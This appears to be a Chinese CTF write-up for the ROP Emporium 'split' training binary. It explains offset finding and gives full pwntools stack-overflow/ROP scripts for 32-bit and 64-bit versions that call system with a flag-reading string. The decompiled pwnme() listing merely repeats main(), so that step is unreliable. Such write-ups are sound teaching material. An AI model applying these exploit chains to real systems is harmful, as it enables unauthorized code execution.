ropemporium上的链接
https://ropemporium.com/
32位
方法一:
checksec后试运行,没有开什么特殊的保护
拖入IDA32位
main函数 F5,把能点的都点一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("split by ROP Emporium");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}
点进去pwnme()
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("split by ROP Emporium");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}
由上图看出s距离ebp0x28,就是40,40+4等于44,可以写入96个,还有很多空间使其栈溢出
gdb找偏移也是44
找到一个usefulFunction,一看就很useful,我们就用system这个函数,点击usefulFunction后看到text段调用了system,地址为0x08048657
但是里面的参数不是我们想要的,我们想要的是
system("/bin/cat flag.txt")
shift+F12找一下字符串
把这个换成system的参数
点它跳转看到地址,字符串地址为0x0804A030
usefulString
开始写脚本
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
p = process('./split32')
system = 0x08048657
flag_addr = 0x0804A030
payload = ''
payload += 'A'*0x28
payload += p32(0)
payload += p32(system)
payload += p32(flag_addr)
p.sendline(payload)
p.interactive()
方法二:
找plt表上的system,地址为0x08048430
usefulString地址不变,还是0x0804A030
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./split32')
p = process('./split32')
system_plt = 0x08048430
#system_plt = elf.plt['system']
flag_addr = 0x0804A030
'''
payload = ''
payload += 'A'*44
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(flag_addr)
'''
payload = ''
payload += 'A'*0x28
payload += p32(0)
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(flag_addr)
p.sendline(payload)
p.interactive()
成功后
64位
64位基本是一样的,不同点在于它们的传参方式不同,64位是用寄存器存储的,那我们先用ROPgadget找到第一个寄存器rdi的gadget
ROPgadget --binary split --only "pop|ret"
我们可以明显看出0x400883是适用的
从下面这张图看出填充字符为0x20+'A'*8或0x20+p64(0)
写脚本(就只用第一种方法啦)
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./split')
p = process('./split')
system = 0x400810
flag_addr = 0x601060
pop_rdi = 0x400883
payload = ''
payload += 'A'*0x20
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(flag_addr)
payload += p64(system)
p.sendline(payload)
p.interactive()
get shell
以上的flag均为ROPE{a_placeholder_32byte_flag!}
网友评论